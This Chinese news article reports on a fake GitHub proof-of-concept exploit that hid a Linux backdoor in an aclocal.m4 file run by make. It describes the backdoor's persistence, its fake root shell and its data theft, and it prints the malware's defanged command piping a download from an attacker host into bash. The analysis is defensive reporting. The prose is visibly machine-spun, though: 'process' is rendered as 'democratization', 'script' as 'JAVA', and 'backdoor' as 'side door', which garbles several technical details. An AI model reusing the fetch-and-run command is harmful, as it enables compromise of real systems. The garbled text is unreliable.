原副标题：留神！别被假的 GitHub 存储库骗了
重新整理 | 屠敏
公司出品 | CSDN（ID：CSDNnews）
做为亚洲地区开发人员的主要集中地，需要关键时刻提防的是，你有时关上的 GitHub 存储库可能将是黑心的，甚至还有可能将所含蓄意程序！
日前，一个被安全可靠科学研究相关人员视作“披著兽皮的狼”的安全漏洞被出炉，或许这样表述，原因在于而此控制技术原本是安全可靠科学研究相关人员用以发掘潜在性安全漏洞的一类方式，居然，它却被骇客用做给安全可靠相关人员“埋坑”。
假的 PoC 就是一只「披著兽皮的狼」
此项控制技术被称作 PoC（Proof of Concept），即基本概念校正。 一般来说是企业展开商品THF1时或积极开展内部实行工程项目前，展开的一类商品或分销商潜能校正工作，也是业内盛行的特别针对顾客具体文本应用领域的校正性试验。
不过，安全可靠预测网络平台地产商 Uptycs 无意间辨认出，一位使用者在 GitHub 上（ 也已被停止使用）正式发布包涵 Linux 侧门的不实基本概念校正（PoC）来蒙骗安全可靠科学研究人员。
这个蓄意 PoC 做为浏览程序代码，将其活动扮作Mach级民主化，同时默默继续执行 Linux Bash JAVA。
Uptycs 的而此新一代辨认出引发了安全可靠科学研究界的忧虑，因为该侧门能盗取十分广为的数据，包括Teredo、帐号和主目录文本的完备条目。
此外，通过将 SSH 密钥添加到 authorized_keys 文件中，攻击者可以实现对目标系统的完全控制。
揭开黑心的 GitHub PoC 面纱
GitHub 中用于传播蓄意 PoC 的不实配置文件之一
「从表面上看，它似乎是一个真实的演示，并配有模仿真实输出的字符串」，科学研究相关人员说道。
但是当运行代码时，却触发了系统中的“重大异常情况”，如意外的网络连接、异常数据传输和未经授权的系统访问尝试等等，而此点引发了科学研究相关人员对 PoC 合法性的怀疑。
唯一的区别是多了一个文件–src/aclocal.m4，这个文件充当 Linux bash JAVA的浏览器。其实不注意看，还真的不一定看出来。
PoC 存储库文件
根据科学研究相关人员的表述，aclocal.m4 一般来说是 automake 的一部分，由 autoconf 用以合并宏。它一般来说不是一个 elf（可继续执行和可链接格式）文件，但是在这里，它却是的。
进一步深究辨认出下图中显示了 make 如何触发 src/aclocal.m4。
有问题的 makefile
控制技术预测
为了进一步辨认出问题所在，科学研究相关人员对 aclocal.m4 展开了反编译预测。最终辨认出，二进制文件的 main 函数以一个有趣的字符串 kworker 开头，如下图所示：
二进制文件
其中，第 79 行检查二进制文件是否名为 kworker。如果为 true，转向第 84 行的 else 条件。如果不是，则继续执行两个函数 copy_to_kworker 和 add_to_bashrc。
而此步是为了建立侧门持久性，这两个函数将当前文件复制到 $HOME/.local/kworker，并将其文件路径添加到 $HOME/.bashrc 文件。
为了掩盖其存在，程序将自己嵌入到 bashrc 中。check_for_pidfile 函数（下图所示）有助于确保同一程序的多个实例不会同时运行。
check_for_pidfile 函数
检查 /tmp/.ICE-unix.pid 路径后，如果没有函数使用 flock(2) 来限制文件访问，则写入当前运行民主化的 PID。只有当 main 函数返回 zero（0），表示当前民主化是独占民主化时，程序才继续继续执行。
main 功能的其他部分
通过 fork 程序，在主函数中创建了一个新的字符串 [kworker/8:3] 来掩盖原来的命令行参数。随后，父民主化继续执行 curl_func 函数，该函数使用 libcurl 库浏览一个经过混淆的 URL，这样基本的静态预测就无法轻易找到它。
该 URL 是 hxxp[:]//cunniloss[.]accesscam[.]org/hash[.]php；它包涵一个 bash JAVA，如果 curl 请求成功，该JAVA就会被运行。
(libcurl 提供了对 curl 的编程访问；它可以直接包涵在二进制文件中{静态编译}或动态调用）。
摘自 curl_func
浏览 bash JAVA的代码部分
%s 变量被 curl 请求输出所代替，这意味着下面是 kworker 运行的命令：
sh -c wget -q -O – http[:]//cunniloss[.]accesscam[.]org/do[.]php?u=$(whoami) | bash 2>&1 > /dev/null解构不实 PoC
伪造的 modprobe.c 中的 new_sn 函数分配内存，试图关上一个特定的文件，如果成功关上则关闭文件，生成一个随机数，然后暂停程序继续执行一段随机的时间。
PoC 之间 modprobe.c 的比较（左边是不实的，右边是原始的）
prepare_root_shell 函数打印一些字符串，并根据条件调用 setup_modprobe_payoad 函数。完成这些操作后，以状态代码 0 退出。
打印看起来合法的字符串的代码部分
前面提到的 setup_modprobe_payoad 为变量 filename 赋值，然后继续执行 /bin/sh 命令关上一个新的系统 shell。然后释放分配给 filename 的内存。
显示它正在伪造 shell 的代码段
在整个过程中，假 PoC 会随机休眠一段时间，打印看起来合法的字符串，最终启动一个 /bin/bash shell。
科学研究相关人员表示，“奇怪的是，当在这个 shell 中继续执行 whoami 时，它会将使用者 ID 错误地报告为 root。这种蒙骗是通过利用 PoC root shell 内外使用者命名空间 ID 的不同来实现的。”
列出 PoC root shell 内的命名空间
列出 PoC root shell 内部的命名空间
上面两张图中，两个 shell 的使用者命名空间不同，这意味着它们使用了两个不同的命名空间。
在这里，不实 PoC 利用命名空间基本概念来制造 root shell 的假象。具体文本来说，它操纵使用者命名空间，该命名空间负责管理特定民主化或容器中的使用者和组身份。但实际上，授予的权限仅限于给定命名空间内的 /bin/bash shell。
最终，安全可靠科学研究相关人员通过使用其内部工具，检测到该二进制文件主要充当浏览程序，从远程源检索JAVA并在受感染的系统上继续执行它。
继续执行后，浏览的JAVA最初访问 /etc/passwd 文件。然后它修改 ~/.ssh/authorized_keys 以授予未经授权的访问权限，并使用 curl 通过 transfer[.]sh 盗取数据。
两个 GitHub 存储库已删除！
通过调查辨认出，而此切的始作俑者是一位叫做 ChriSanders22 的 GitHub 使用者，而且这位使用者无论是上传的头像，还是个人资料填写，也都是盗取其他人的。
目前，在辨认出而此安全漏洞之后，该配置文件和蓄意 PoC 都已经被删除。
对此，据外媒 DarkReading 报道，GitHub 发言人表示，“我们根据 GitHub 的可接受使用政策删除了这些文本，该政策禁止正式发布直接支持非法主动攻击或造成控制技术损害的蓄意程序活动的文本。”。
不过，需要提防的是，虽然蓄意 PoC 已经从 GitHub 上被删了，但是科学研究相关人员辨认出并公开这个安全漏洞时，两个包涵假 PoC 的存储库已经分别被 fork 了 25 次和 20 次，所以，只要是继续执行 PoC 的人都面临着很高的数据泄露风险。
为此，科学研究相关人员也提供了几条建议，包括删除未经授权的 SSH 密钥、删除“kworker”文件、从“bashrc”文件中删除 kworker 路径以及检查“/tmp/.iCE-unix.pid”中是否存在潜在性威胁。
之前的蓄意存储库地址如下， 目前已删除：
其实近段时间，采用 PoC 方式投放蓄意程序的事件并非第一次发生，就在上个月，也有报道称 GitHub 和 Twitter 上的几个不实账户正在以 PoC 形式传播蓄意程序，这些蓄意程序感染了基于 Windows 和 Linux 的系统。
让科学研究相关人员深感无奈的是，即使假的 PoC 与合法的 PoC 明显重叠，只要没有在内部辨认出“网络钓鱼”或“蓄意软件侧门”时，GitHub 也做不了什么，因为在 GitHub 上复制并上传相同的代码并不违法。
在此之下，科学研究相关人员也建议，安全可靠专业相关人员在网络空间中保持与顾客同样的谨慎和准备，始终在虚拟环境中展开试验，因为你不知道作恶的人会在什么时候出现。
参考：
https://www.uptycs.com/blog/new-poc-exploit-backdoor-malware
https://www.darkreading.com/attacks-breaches/linux-hacker-exploits-researchers-with-fake-pocs-posted-to-github
上限约为 1 万个；曝苹果正开发 iPad Air 6：搭载 M2 自研芯片；百度开源 BifroMQ|极客头条
▶ 如何写出别人能读懂的代码
▶ 打工人又被 AI “误伤”！印度 CEO：“我裁了 90% 的控制技术支持团队，都外包给了 AI”
